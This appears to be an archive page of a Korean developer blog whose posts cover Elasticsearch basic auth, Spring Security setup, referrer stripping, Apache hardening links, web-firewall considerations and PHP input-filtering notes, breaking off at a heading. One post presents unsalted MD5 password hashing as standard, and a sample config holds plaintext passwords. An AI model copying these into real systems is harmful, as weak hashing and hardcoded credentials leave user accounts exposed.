[Elasticsearch] head plugin + http auth plugin

Elastic/Elasticsearch 2013. 4. 24. 13:26

elasticsearch head plugin 사용하시 외부로 ES 서버가 노출되어 있는 경우 인증 부분을 고민 해야 합니다.

보통은 중간에 proxy 서버를 두어서 gateway 역할을 수행하게 하고 외부로 노출 안시키고 서비스를 할 수 있는데요.

혹시라도 proxy 구조를 두기 어렵다면 기본 인증이라도 적용하는게 좋지 않을까 합니다.

이미 ES 플러그인으로 제공되는 것이 있어서 링크 공유 합니다.

[head plugin]

https://github.com/mobz/elasticsearch-head

[http basic auth plugin]

https://github.com/karussell/elasticsearch-http-basic

:

Spring Security <password-encoder>

ITWeb/개발일반 2012. 3. 12. 18:05

코드는 아래 처럼 사용하면 됩니다.

<authentication-provider user-service-ref="userDetailsService">

<password-encoder hash="md5" base64="true"/>

</authentication-provider>

- 의미는 md5 hash 알고리즘을 사용하고,
- base64 인코딩을 해서 사용한다는 의미 입니다.
- 결국 client 에서 전달 되는 값들을 md5 로 암호화 하고 base64로 인코딩 후 password 비교를 하게 됩니다.
- DB 에 password 저장 시 당연히 md5 암호화를 하고 base64 encoding 후 저장을 해야 정상적으로 비교가 되겠죠..

[참고내용]
- URL : http://static.springsource.org/spring-security/site/docs/3.1.x/reference/springsecurity-single.html#nsa-password-encoder

B.2.4 `<password-encoder>`

Authentication providers can optionally be configured to use a password encoder as described in the namespace introduction. This will result in the bean being injected with the appropriate PasswordEncoder instance, potentially with an accompanying SaltSource bean to provide salt values for hashing.

Parent Elements of `<password-encoder>`

`<password-encoder>` Attributes

`base64`

Whether a string should be base64 encoded

`hash`

Defines the hashing algorithm used on user passwords. We recommend strongly against using MD4, as it is a very weak hashing algorithm.

`ref`

Defines a reference to a Spring bean that implements PasswordEncoder .

Child Elements of `<password-encoder>`

salt-source

:

Spring Security InMemory + JDBCImpl 설정 방법.

ITWeb/개발일반 2012. 3. 12. 17:22

가장 쉽게 접근할 수 있는 방법에 대해서 기술 합니다.
모든 내용의 기초는 아래 사이트에서 참고하였습니다.
- 없는건 검색했고요.. ㅎㅎ

http://static.springsource.org/spring-security/site/docs/3.1.x/reference/springsecurity-single.html

[spring-security.xml InMemory]

<?xml version="1.0" encoding="UTF-8"?>

<beans:beans xmlns="http://www.springframework.org/schema/security"

xmlns:beans="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://www.springframework.org/schema/beans

http://www.springframework.org/schema/beans/spring-beans-3.0.xsd

http://www.springframework.org/schema/security

http://www.springframework.org/schema/security/spring-security-3.1.xsd">

<global-method-security secured-annotations="enabled" />

<intercept-url pattern="/login.html*" access="IS_AUTHENTICATED_ANONYMOUSLY" />

<intercept-url pattern="/welcome.html*" access="IS_AUTHENTICATED_ANONYMOUSLY" />

<intercept-url pattern="/**" access="ROLE_ADMIN" />

<form-login login-page='/login.html' default-target-url='/index.html' always-use-default-target='true' authentication-failure-url="/login.html" />

<remember-me key="daSDAsdaSDsa" />

</http>

<authentication-manager>

<authentication-provider>

<user-service>

</user-service>

</authentication-provider>

</authentication-manager>

[spring-security.xml JDBCImpl Case 1]
- InMemory 코드에서 빨간 부분이 변경 됩니다.

<jdbc-user-service data-source-ref="dataSource"

users-by-username-query="SELECT username, password, enabled FROM users WHERE username=?"

authorities-by-username-query="SELECT u.username, au.authority FROM users u, authorities au WHERE u.username=? AND au.username=u.username"

/>

[spring-security.xml JDBCImpl Case 2]

<?xml version="1.0" encoding="UTF-8"?>

<beans:beans xmlns="http://www.springframework.org/schema/security"

xmlns:beans="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://www.springframework.org/schema/beans

http://www.springframework.org/schema/beans/spring-beans-3.0.xsd

http://www.springframework.org/schema/security

http://www.springframework.org/schema/security/spring-security-3.1.xsd">

<global-method-security secured-annotations="enabled" />

<intercept-url pattern="/login.html*" access="IS_AUTHENTICATED_ANONYMOUSLY" />

<intercept-url pattern="/welcome.html*" access="IS_AUTHENTICATED_ANONYMOUSLY" />

<intercept-url pattern="/**" access="ROLE_ADMIN" />

<form-login login-page='/login.html' default-target-url='/index.html' always-use-default-target='true' authentication-failure-url="/login.html" />

<remember-me key="daSDAsdaSDsa" />

</http>

<authentication-manager>

<authentication-provider user-service-ref="userDetailsService" />

</authentication-manager>

<beans:bean id="userDetailsService" class="org.springframework.security.core.userdetails.jdbc.JdbcDaoImpl">

<beans:property name="dataSource" ref="dataSource"/>

</beans:bean>

</beans:beans>

※ 이넘들이 사용하는 Table Schema 는 아래 글 참고 하세요.
- http://jjeong.tistory.com/610

그리고 참고하기 위해서 JdbcDaoImpl.java 코드 올려 봅니다.
이 코드를 보시면 이해 하는데 도움이 될겁니다.

※ 코드를 보시니 이제 감이 오시나요???
그렇습니다.
JdbcImpl.java 와 같은 넘을 biz 요구사항에 맞춰서 작성을 하시면 customized authentication 과 authority 를 구현 하실 수 있습니다. ^^
그래도 잘 모르시겠다구요.
그럼 아래를 참고하세요.
이미 정리 된 문서가 있어서 link 겁니다.

[원본링크]

http://redmine.miracom.co.kr/projects/33/wiki/Spring_Security_%EC%84%A4%EC%A0%95_%EB%B0%A9%EB%B2%95

Spring Security 설정 방법

web.xml에 Spring Security Filter 추가

    <filter>
      <filter-name>springSecurityFilterChain </filter-name>
      <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
    </filter>

    <filter-mapping>
      <filter-name>springSecurityFilterChain </filter-name>
      <url-pattern>/*</url-pattern>
    </filter-mapping>

url-pattern은 보안을 걸고 싶은 url pattern을 설정가능하다.

web.xml에 Spring Context Loader 추가

    <context-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>classpath*:META-INF/config/beans*.xml</param-value>
    </context-param>
    <listener>
        <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
    </listener>

contextConfigLocation은 Spring 설정 파일(application context) 위치를 지정.
```
classpath*:META-INF/config/beans*.xml
```
- classpath의 META-INF/config 폴더의 beans로 시작하는 모든 xml 파일을 의미

classpath에 Spring Security 설정 파일인 beans-security.xml 추가

beans-security.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans:beans xmlns="http://www.springframework.org/schema/security" 
    xmlns:beans="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
    xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd
                        http://www.springframework.org/schema/security http://www.springframework.org/schema/security/spring-security-3.0.xsd">

    <global-method-security pre-post-annotations="enabled"/>

    <http auto-config="true" use-expressions="true">
        <http-basic/>

        <intercept-url pattern="/index.jsp" access="permitAll" />
        <intercept-url pattern="/login.jsp" access="permitAll" />
        <intercept-url pattern="/timeout.jsp" access="permitAll" />
        <intercept-url pattern="/authenticationFail.jsp" access="permitAll" />
        <intercept-url pattern="/*" access="isAuthenticated()" />
        <intercept-url pattern="/admin/**" access="hasRole('ROLE_ADMIN')" />
        <intercept-url pattern="/public/**" access="permitAll" />

        <logout />

    </http>

    <!-- Memory User Service -->
    <authentication-manager> 
        <authentication-provider> 
            <user-service> 
                <user name="s3im" password="miracom" authorities="ROLE_ADMIN, ROLE_USER, ROLE_TELLER" /> 
                <user name="myjung" password="miracom" authorities="ROLE_USER,ROLE_TELLER"/> 
            </user-service>
        </authentication-provider>
    </authentication-manager> 

    <!-- DB User Service -->
    <!-- 
    <authentication-manager alias="authenticationManager">
        <authentication-provider user-service-ref="userService"/>
    </authentication-manager>

    <beans:bean id="userService" 
        class="com.mesplus.server.security.authentication.MesplusUserService">
        <beans:property name="userDao" ref="meplusUserDAO" />
    </beans:bean>
    -->
</beans:beans>

url 패턴 별로 인증 및 권한 설정
- intercept-url의 pattern을 이용해서 URL 패턴 별로 인증 및 권한을 설정
  - access 속성의 권한설정은 다음과 같은 것을 할 수 있음
    - permitAll은 모든 사람에게 접근가능
    - isAuthenticated()은 인증(로그인)한 사람만 접근가능
    - hasRole(~)은 지정된 role을 가지고 있는 사람만 접근가능
      - 여러개의 role에 허용할 경우 ,로 구분

사용자 추가 (설정파일 - 메모리)

bean-security.xml의 다음 부분에 user 추가

    <!-- Memory User Service -->
    <authentication-manager> 
        <authentication-provider> 
            <user-service> 
                <user name="s3im" password="miracom" authorities="ROLE_ADMIN, ROLE_USER, ROLE_TELLER" /> 
                <user name="myjung" password="miracom" authorities="ROLE_USER,ROLE_TELLER"/> 
            </user-service>
        </authentication-provider>
    </authentication-manager>

user-service 태그 안에 user 태그를 수정, 추가, 삭제하여 user 관리
- name은 아이디
- password는 암호
- authorities는 역할, 두개 이상 있으면 ,로 구분

사용자 추가 (DB 모델 기반)

bean-security.xml의 다음 부분에 user 추가

    <!-- DB User Service -->
    <authentication-manager alias="authenticationManager">
        <authentication-provider user-service-ref="userService"/>
    </authentication-manager>

    <beans:bean id="userService" 
        class="com.mesplus.server.security.authentication.MesplusUserService">
        <beans:property name="userDao" ref="meplusUserDAO" />
    </beans:bean>

    <beans:bean id="meplusUserDAO" 
        class="com.mesplus.server.security.user.dao.impl.MesplusUserDaoHibernateImpl">
        <beans:property name="sessionFactory" ref="sessionFactory"/>
    </beans:bean>

authentication manager에 유저 정보를 제공하는 user service는 org.springframework.security.core.userdetails.UserDetailsService 인터페이스를 구현해야함.

MESPlusUserService.java 작성

public class MesplusUserService implements UserDetailsService{
    private Log log;
    public MesplusUserService(){
        log = LogFactory.getLog(this.getClass().getSimpleName());
    }
    @Autowired
    private MesplusUserDao userDao;
    @Override
    public UserDetails loadUserByUsername(String username)
            throws UsernameNotFoundException, DataAccessException {
        try {
            UserDetails userDetails = userDao.findByUsername(username);
            if(userDetails == null){
                StringBuilder logMsg = (new StringBuilder("Username(")).append(username).append(") not found!");
                log.debug(logMsg.toString());
                throw new UsernameNotFoundException(logMsg.toString());
            }
            return userDetails;
        } catch (Exception e) {
            StringBuilder logMsg = (new StringBuilder("Username(")).append(username).append(") access exception!");
            log.debug(logMsg.toString(), e);
            throw new UsernameNotFoundException(logMsg.toString(), e);
        }
    }
    public MesplusUserDao getUserDao() {
        return userDao;
    }
    public void setUserDao(MesplusUserDao userDao) {
        this.userDao = userDao;
    }
}

REST용 추가 설정

web.xml에 HTTP Hidden Method Filter 추가

    <filter>
        <filter-name>HttpMethodFilter</filter-name>
        <filter-class>org.springframework.web.filter.HiddenHttpMethodFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>HttpMethodFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

:

3. Spring MVC 에 Spring Security 적용해 보기

ITWeb/개발일반 2012. 3. 12. 12:40

Spring MVC 에 기본 Minimal http configuration 에대한 소스 코드만 삽입해 놓습니다.
확장 버전은 직접 해보시는면 좋겠죠.
- 다만, 진행 하면서 코드는 추가 하겠습니다.

[소스코드]

- Eclipse import 하시면 프로젝트 확인 가능 합니다.

proto.security.zip

※ import/export 방법은 아래 글 참고하세요.
http://jjeong.tistory.com/564

1. Spring MVC 구성해 보기.
2. Spring MVC 에 MyBatis 적용해 보기.
3. Spring MVC 에 Spring Security 적용해 보기.
4. Spring MVC 에 Hibernate 적용해 보기.
5. 2+3번 적용해 보기.
6. 3+4번 적용해 보기.

- 소스코드를 첨부 하였으므로 요약 정보만 기술 합니다.

[참고링크]

http://www.springsource.org/spring-security#documentation

http://static.springsource.org/spring-security/site/docs/3.1.x/reference/springsecurity-single.html
http://static.springsource.org/spring-security/site/docs/3.1.x/reference/springsecurity-single.html#core-services-in-memory-service

[pom.xml]
- spring security 관련 dependency 추가 합니다.

<groupId>org.springframework.security</groupId>

<artifactId>spring-security-core</artifactId>

<version>3.1.0.RELEASE</version>

</dependency>

<groupId>org.springframework.security</groupId>

<artifactId>spring-security-web</artifactId>

<version>3.1.0.RELEASE</version>

</dependency>

<groupId>org.springframework.security</groupId>

<artifactId>spring-security-config</artifactId>

<version>3.1.0.RELEASE</version>

</dependency>

[web.xml]
- security 관련 fitler 와 context 설정을 등록 합니다.

<context-param>

<param-name>contextConfigLocation</param-name>

<param-value>

/WEB-INF/spring/root-context.xml

classpath:context/**/applicationContext*.xml

</param-value>

</context-param>

<filter-name>springSecurityFilterChain</filter-name>

<filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>

</filter>

<filter-mapping>

<filter-name>springSecurityFilterChain</filter-name>

<url-pattern>/*</url-pattern>

</filter-mapping>

[application-security.xml]
- http security 관련 설정을 합니다.
- 메모리 기반의 인증 처리 방식 입니다. (추후 업그레이드가 되어야 하는 부분)

<?xml version="1.0" encoding="UTF-8"?>

<beans:beans xmlns="http://www.springframework.org/schema/security"

xmlns:beans="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

xsi:schemaLocation="http://www.springframework.org/schema/beans

http://www.springframework.org/schema/beans/spring-beans-3.0.xsd

http://www.springframework.org/schema/security

http://www.springframework.org/schema/security/spring-security-3.1.xsd">

<intercept-url pattern="/**" access="ROLE_USER" />

</http>

<authentication-manager>

<authentication-provider>

<user-service>

</user-service>

</authentication-provider>

</authentication-manager>

</beans:beans>

[실행하기]
- Spring MVC 예제에서 했던 것과 같습니다.
- 이전 글을 참고해 주세요.

http://jjeong.tistory.com/602
http://jjeong.tistory.com/603

- 아래는 실행 시킨 결과 화면 입니다.

[테스트URL]
http://localhost:8080/security/index.html

[인증 전]

[인증 후]

※ 보시는 것 처럼 spring security의 시작은 아주 쉽게 따라 할 수 있습니다. 문서를 잘 참고 하시면 됩니다.

:

사내 운영툴 Referrer 제거하기.

ITWeb/서버관리 2010. 2. 8. 15:40

사내 운영툴의 경우 외부로 URL 이 알려 지는걸 방지 하기 위해서 referrer 를 제거해야 하는 경우가 있습니다.
보통 referrer 는 html 헤더 정보에 포함이 되어서 전달이 되는데요.
아래와 같이 처리 하면 referrer 를 제거 해서 보낼 수 있습니다.

HTML 로 redirection

<html>
<head>
<meta http-equiv=refresh content=0; url=리다이렉트하고자하는URL>
</head>
</html>

JavaScript 로 redirection

<html>
<head>
<script type="text/javascript">
document.location = "리다이렉트하고자하는URL";
</script>
</head>
</html>

이렇게 보내면 referrer 가 남지 않습니다.
정확하게는 북마크접속이거나 직접접속 이런식으로 남습니다.

그리고 개발 하면서 한가지 조심해야 할 건 referrer 는 변조가 가능 하기 때문에 referrer 체크를 통한 보안 코드 삽입은 매우 위험한 발상 입니다.
참고 하셔요.. :)

:

web server security

Legacy 2009. 3. 24. 17:26

ref. http://www.cgisecurity.com/apache-security.html

Apache Security

Apache documentation
Apache Security tips (1.3) (2.0) (2.2)
suEXEC Support
httpd.apache.org/docs/

Download Apache:
Main mirror download page

How to Chroot apache:
Apache chroot mini HOWTO (Note: not in english but provides commands that can be used) (HTML)
Chrooting Apache2 howto, October 14th, 2003 (HTML)

Misc:
Securing Apache: Step By Step, SANS GIAC - GCUX Practical Assignment (HTML) (ZIP)
Apache security advisories
Apache Security from A-Z, Lincoln Stein
Apache Security Configuration Document
Basic Apache Security Considerations, John Grotevant (PDF)
Security and Apache: An Essential Primer, Maxwell's Demon and Hat Colour
Apache Security Secrets: Revealed (PDF)
WU-FTPD and Apache Security Basics (PDF)
How to 'chroot' an Apache tree with Linux and Solaris
Using Apache with suexec on Linux
Installing and Securing the Apache Webserver with SSL
How to Use NDS eDirectory to Secure Apache Web Server for Netware, (PDF)
Securing Apache: Understanding and securing your Apache web server configuration (PDF)

Security holes... Who cares? (PDF)
A detailed write up of the slapper worm.

Securing Apache: Step-by-Step, May 14, 2003
This is a very good article I highly suggest.

mod_security
This is a apache plugin that will give you extra security. If you are looking for a good free solution then this is for you.

News Groups:

alt.apache.configuration
comp.infosystems.www.servers.misc
comp.infosystems.www.servers.unix

1. Don't run unnecessary servers or interpreters. If you don't need the FTP (File Transfer Protocol) server that's bundled with your Web server, don't give hackers another target: Disable it, or don't install it at all. Similarly, disable scripting languages and sample scripts that you don't absolutely require.

2. Subscribe to your server vendor's security alert list. Or at least monitor its Web site regularly for patches and apply them immediately. The Computer Emergency Response Team advisory list at www.cert.org/advisories/ can be a useful resource. Don't forget to watch out for alerts and patches for your OS as well as for the Web server itself.

3. Practice good password habits. Avoid simple, easy-to-guess passwords, particularly for privileged administrator accounts. On the other hand, don't make your password rules so draconian that users resort to writing them down. Always change default passwords and eliminate unnecessary accounts (such as guest). Make sure passwords are actually enabled for sensitive areas and administration functions.

4. Know what's happening on your network. Many Web servers are free and easy to install, so watch out for well-meaning but ill-informed users who may inadvertently create security holes.

5. Use your operating system's permission mechanism. Usually the Web server runs with the permission of a particular user. Make sure that user has appropriately limited access.

6. Monitor your logs. Your Web server keeps track of every request; review your logs regularly for signs of out-of-the-ordinary behavior.

7. Segregate public and private data. Don't store sensitive data on the same machines as public Web servers if you don't have to do it. For an extranet, you might consider a "sacrificial lamb" configuration, where a Web server sits outside the firewall so that it doesn't jeopardize corporate data behind the firewall.

8. Be careful with your server configuration. Limit executable files to specific directories, and make sure their source codes can't be downloaded. Turn off features such as automatic directory indexing and WebDAV publishing support if you don't need them. Run any security tools your OS or Web-server vendor provides, such as Microsoft's IIS Lockdown Tool, to identify potential weak spots.

9. Check programs for security holes. CGI scripts on Web servers are particularly prone to security breaches, especially if they don't validate user-supplied data before accessing files or operating-system services.

:

[펌]Chapter 1. 웹 보안의 개념과 이해

ITWeb/스크랩 2008. 7. 29. 13:51

개발자 입장에서 보안은 참 중요한것 같다.
하지만 이런 보안에 대한 경험이 뒷받침 되지 않고서는 보안을 유지 하기가 쉽지 않다.
당연한 말이지만.. 방어 하는 자와 공격 하는자.. 과연 누가 이길까???

제일 아래 10가지 고려사항에 대해서 고민을 해보고 그에 적절한 개발을 하는것 역시 중요 하다.
무조건 장비만 도입 한다고 해서 모든게 해결 되지는 않을 테니..

몇몇 개발자 분들의 코드를 확인해 봤는데.. xss 와 sql injection 에 정말 대책 없이 개발 되어 있는걸 봤다..
열심히 설명은.. 해보겠으나.. 받아 들일 준비들이 안된듯.. 음냐..

모르면.. 배웁시다.. 고집 피우지 말고... ^^*

ref. http://www.boannews.com/know_how/view.asp?idx=2161&search=title&find=%B5%BF%C7%E2

Web Security Solution All Guide

Chapter 1. 웹 보안의 개념과 이해

Frost& Sullivan의 보고서는 이미 2004년 웹 애플리케이션 보안 시장이 전년대비 성장률 66.5%를 시작으로 매년 전년대비 50% 이상 급속도로 성장할 것으로 전망했다. 또한 웹에 대한 시장요구 사항이 변화됨에 따라 이를 반영하여 보안 영역을 구분했다.

예 를 들어 미국의 체크포인트사의 경우 네트워크 보안과 웹 보안, 내부 보안으로 영역을 구분하고 이 가운데 웹 보안이 가장 급속도로 성장할 것으로 예측했으며 관련 제품의 라인업을 갖추려고 노력하고 있다. 이 와는 별도로 웹을 포함한 메신저, 메일 등을 포함하는 애플리케이션 보안 분야에 중점을 두고 향후 이 시장이 급속히 성장할 것으로 예측하고 있다.

양 키그룹(Yankee Group)은 ‘Application Gateways Secure Business Communications’라는 보고서에서 이들 애플리케이션 보안을 전담하는 게이트웨이 시장을 분석하고 향후 20억 달러 이상의 시장을 형성할 것으로 예상했다. 각각의 기관이 조사한 자료에 따라 수치가 차이가 나긴 하지만 웹 애플리케이션 보안에 대한 수요의 폭발적 증가와 관련 시장의 성장을 동일하게 나타내고 있다.

특 히 기업이나 공공기관 애플리케이션 전산 환경이 하루가 다르게 웹 기반으로 바뀌고 있다. 언제 어디서나 내부망에 접속할 수 있으며 대 국민이나 고객대응에 대한 다양한 정보를 손쉽게 공유할 수 있다는 편리함이 그 이유이기 때문이다. 그러나 이러한 환경은 웹 특성상 서비스를 위해 80포트(HTTP)나 443포트 같은(HTTPS)같은 통로를 열어놔야 하는 구조상 근본적인 취약점을 안고 있다. 이에 따라 이곳을 통해 웹 프로그램의 설정 오류나 개발 오류로 인한 웹 애플리케이션 자체의 취약점을 이용한 홈 페이지와 웹 서버 해킹이 시도될 수 있다. 이러한 서비스 포트를 통한 침입 공격의 유형의 85% 이상이 웹 애플리케이션 서비스 포트를 통한 공격이다.

실 제로 웹 고객 정보를 빼돌리거나 콘텐츠 변조, 서비스거부공격(DoS), 홈페이지 위·변조, 내부 중요 시스템의 침입 등 해킹 사고가 최근 들어 눈에 띄게 늘고 있다. 업계 자료에 따르면 국내에서 발생된 해킹 시도의 70% 가량이 웹 애플리케이션의 취약점을 이용한 것으로 추정되고 있다.

웹 애플리케이션을 통한 보안 사고는 PHP 취약점 및 제로보드·그누보드·코웹로그 등 웹 게시판 프로그램의 취약점을 이용한 해커그룹이 홈페이지를 무차별 변조하면서 발생한 현상으로 전 세계적으로 ‘주의경보’ 발령과 더불어 즉각적인 수정 및 패치 업그레이드를 권장하고 있다.

당 시 구글 등 인터넷 검색엔진을 이용해 관련 취약점이 패치되지 않은 웹 서버들을 찾아 해킹 한 것으로 판단되며 단시일 내에 700여개 홈페이지가 변조되었고 이중 450개는 한 해커그룹에 의해 이뤄지기도 했다. 이는 하나의 취약성으로 인해 얼마나 많은 시스템이 피해를 입을 수 있는지를 보여준 사건이었다.

이 와 같은 사건에 대한 웹 보안 강화 방법으로 제일 먼저 고려할 수 있는 것은 개발자의 웹 프로그래밍 시 코드상의 오류를 근본적으로 고치는 것이다. 하지만 대부분의 웹 애플리케이션 프로젝트에서는 서비스의 편의성 및 기능 구현을 중요시하는 풍조, 프로젝트 오픈 완료 일정에 따른 소스 보안검증의 부실함으로 인해, 개발자 스스로도 취약성을 인지하면서도 보안성 강호를 무시하여 많은 취약성을 가진 웹 애플리케이션이 구축되는 경우가 많다.

그 러나 시스템 오픈 후 취약성이 존재하는 소스를 일일이 찾아내어 고친다는 것은 많은 시간과 비용을 필요로 하며 보안성 강화를 통한 프로세스의 변경 및 재개발, 성능 저하에 대한 우려를 이유로 대부분의 웹 사이트가 사고 발생 전까지 무방비 상태로 놓이게 되며 큰 사고로 연결되기도 한다. 초기 보안시스템의 이슈는 방화벽으로부터 시작해 침입탐지시스템(IDS) 또는 침입방지시스템(IPS)을 웹 서버의 앞 단에 구축해 불법적인 침입을 막는 역할을 했다.

이 러한 보안 시스템은 1세대 또는 2세대 보안시스템으로서 불특정한 침입자에 대한 보안을 하기 위한 것으로 네트워크 레벨에서 사용하지 않거나 인증되지 않은 포트를 차단하고 패킷에 대한 필터링을 통해서 비정상적인 침입자를 차단하기 위한 기능이 주였다.

그 러나 여기에는 커다란 문제가 존재한다. 웹의 특성상 방화벽을 설치하더라도 사용되는 서비스 포트는 항상 개방해야 하기 때문에 웹 서비스 포트를 통한 공격에 대해서는 무방비 상태로 노출된다는 것이다. 최근 지원영역을 애플리케이션 단까지 확장한 DPI(Deep Packet Inspection) 방화벽이나 IPS가 출시되고 있으나 네트워크 레벨 기반의 보안 시스템에서 애플리케이션 레벨의 방어를 하는 데는 한계를 갖고 있을 수 밖에 없다. 이들은 주로 시그니처에 의존한 패턴 매칭기술을 기반으로 애플리케이션 영역의 ‘이미 알려진’ 공격만을 차단하기 때문에 패턴데이터에 저장되지 않은 웹 애플리케이션 공격을 탐지하거나 기업에서 자체적으로 개발한 웹 애플리케이션의 취약점을 이용한 시그니처를 제공하지 못하는 한계가 있다.

CC인증 획득이 시장 선점의 열쇠

현 재 웹 방화벽은 제품의 기능이나 성능에 대한 검증이 어려워 CC인증 여부가 제품 구매의 주요 기준이 되고 있다. 따라서 CC인증의 중요성이 높고 기술적 경쟁력이 바탕이 된 제품의 CC인증 획득이 시장의 판도를 잡는 열쇠가 될 것으로 업계 관계자들은 내다보고 있다. 아울러 최근의 웹 해킹에 따른 웹 방화벽의 필요성과 관심이 증가함에 따라 올해 웹 방화벽 시장은 큰 상승세가 예상되고 있다. 특히 기존 많은 보안 업체들이 웨 방화벽을 개발하고 CC 인증을 획득하고 이를 준비하고 있어 공공기관을 중심으로 많이 도입될 것으로 전망되고 있다. 특히 CC 인증이 공공기관 납품에 있어 중요한 요소이기 때문에 각 업체들은 CC인증에 대해 촉각을 곤두세우고 있다.

올 해 추가 인증제품이 등장함에 따라 각 보안담당자들은 제품의 선택폭이 넓어졌다. 특히 제품의 기능 및 안정성 등 기술적인 면에서 치열한 경쟁이 전개될 전망이다. 그러나 업체간 지나친 과열경쟁으로 인한 가격적인 출혈경쟁이 있어서는 안 될 것이다. 한편 지난 해부터 공공기관을 중심으로 웹 방화벽의 도입이 이어지고 있어 향후 웹 방화벽 시장은 공공기관을 중심으로 확대될 전망이다.

웹 방화벽 도입시 고려사항

1. 기존 구성된 네트워크 환경 변경 없이 설치가 편리한가?

2. OWASP 10대 취약성 및 국가정보원 8대 웹 보안 취약점에 대한 보안 기능 수행을 하는가?

3. 피싱 같은 홈페이지 위·변조 해킹 공격이 들어와도 서비스는 자동 복구되어 연속적인 서비스가 지원되는가?

4. 웹 페이지 또는 웹 메일 내용에서 개인정보(주민등록번호, 카드번호, 계좌번호 등등)에 해당하는 내용까지 탐지 및 차단이 가능한가?

5. 게시판이나 웹메일에서 업로드 또는 다운로드되는 첨부파일에 대한 개인정보 탐지 및 차단이 가능한가?

6. 보안정책 및 관리부문에서 운영자의 편의성을 제공하는가?

7. 관리자 권한 제어 및 감사내역을 제공하는가?

8. 로그 정보를 통해 관리자가 직관하여 상황을 판단할 수 있는 유용한 정보를 제공하는가?

9. 문제 발생시 운영자가 알 수 있도록 알람 기능이 제공되는가?

10. 다양하고 고도화도어 가는 해킹에 대해 대응할 수 있는 방안이 있는가?

11. 실시간 서비스를 지원하기 위한 웹 애플리케이션 방화벽의 유지보수 지원이 원활한가?

:

PHP 보안 (Essential PHP Security)

ITWeb/개발일반 2007. 8. 22. 14:44

1. 소개

단순한 것이 아름답다
- 코딩을 할 때 복잡하게 하게 되면 실수를 하게 되고 이런 부분에서 보안 취약점이 드러난다.
- ?:; 이것 보다 if 문을 사용하는것이 이런 실수를 더 줄일 수 있다.
명명 규칙
- 엄격한 명명규칙을 사용하면 코드 전반에서 사용되는 모든 데이터의 출처를 구별하는데 유용하다.
- 적극 권장
입력 필터링
- 입력을 구분하는 단계
- 입력을 필터링 하는 단계
- 필터링된 데이터와 오염된 데이터를 구별하는 단계
- 데이터베이스 서버나 RSS 피드 같은 것들도 입력이 될 수 있다.
- 일반적으로 세션 데이터 저장소나 데이터베이스의 데이터를 입력으로 간주하는 것이 보다 안전하며, 중요한 PHP 응용프로그램에 대해서는 이런 관점을 추천한다.
- 필터링에 대해서는 사용자가 필터링 규칙을 따라 오도록 해야 한다.
- 유효하지 않은 데이터를 수정하려는 행위가 오류를 포함할 가능성이 높고, 잘못된 데이터를 통과시킬 수 있다.
  - 검사는 수정보다 훨씬 안전한 대안이 될 수 있다.
- 필터링 된 데이터는 다른 변수에 재할당 한다.
  - $aFiltered = array();
  - $sEmail = $_POST['email'];
  - $sEmail = getVerifiedEmail($sEmail); // filtering
  - $aFiltered['email'] = $sEmail;
출력 이스케이프
- 출력을 구분하는 단계
- 출력을 이스케이프하는 단계
  - 심층 방버에 충실하기 위한 지침이다.
  - htmlentities()
  - mysql_real_escape_string() (addslashes())
- 이스케이프된 데이터와 그렇지 않은 데이터를 구분하는 단계

2. 폼과 URL

크로스 사이트 스크립팅(XSS, cross-site scripting) 및 크로스 사이트 리퀘스트 위조(CSRF, cross-site request forgeries) 에 대해 살펴 보고 폼과 HTTP 요청을 직접 조작하는 스푸프(spoof)에 대해서 살펴 볼 것이다.
폼과 데이터
- 필터링된 데이터
- 오염된 데이터
- 데이터를 바꿀수 없게 하려면 변수 대신 상수를 사용해야 한다.
  - 재정의하려는 시도는 경고를 보여 주지만 값이 변경되지 않는다.
- GET, POST, HTTP 모두 의심해야 한다.
URL 공격
- GET 전송방식이 보다 많은 데이터를 노출하기 때문에 보다 자주 공격 대상이 된다.
파일 업로드 공격
- 클라이언트측과 서버측에서도 제한을 따르도록 해야 한다.
- upload_max_filesize 와 post_max_size 로 제한을 줄 수 있다.
- is_uploaded_file() 과 move_uploaded_file() 함수를 이용해서 파일을 검사한다.
크로스 사이트 스크립팅
- XSS (Cross-Site Scription)
- 클라이언트에 데이터를 보낼때는 이스케이프하기 위해 htmlentities() 를 사용해야 한다.
- http://ha.ckers.org/xss.html
크로스 사이트 리퀘스트 위조
- CSRF (Cross-Site Request Forgery)
- $_REQUEST 를 사용하는것을 권장하지 않는다.
- html 폼에서 GET 대신에 POST를 사용하고 폼 처리 로직에서는 $_REQUEST 대신 $_POST를 사용한다.
- 중요한 처리에 대해서는 사용자가 요청한 것이 맞는지 확인을 요청한다.
- NOTE : 처리를 수행하는 모든 폼은 POST 요청방식을 사용해야 하며 RFC 2616의 9.11 절을 보면 이를 다음과 같이 기술하고 있다. "특히, GET과 HEAD 요청방식은 정보 질의 이외의 처리에 대해서는 사용하지 않아야 한다는 관례가 정착되어 있다. GET 과 HEAD 요청방식은 '안전한' 것으로 간주 되어야 한다. GET 과 HEAD 요청방식을 안정한 것으로 간주하면 사용자 에이전트는 POST, PUT, DELETE와 같은 요청방식들을 특별한 방식으로 구분할 수 있으면 사용자는 안전하지 않은 동작이 요청 되고 있다는 사질을 인지할 수 있게 된다"
- 폼 제출시 한 사용자에게만 유효한 토큰을 생성 하여 유효성을 검사한다.
  - 토큰의 유효 기간도 설정을 하여 공격에 대비를 할 수 있다.
  - 공격자는 한 명의 사용자에게 제한할 수 있다.
- 그렇다고 POST 방식만 사용하려 해서는 안 된다.
폼 제출 스푸핑
- 가짜 폼을 조작해서 요청을 한다.
- 레퍼러를 사용해서 폼이 있는 URL 이 유효 한지 검사를 할 수 있으나 자제 하기 바란다.
HTTP 요청 스푸핑
- 공격자는 HTTP 요청을 조작하여 완전하게 제어할 수 있다.
- telnet 을 이용해서 공격 가능함.

3. 데이터베이스와 SQL

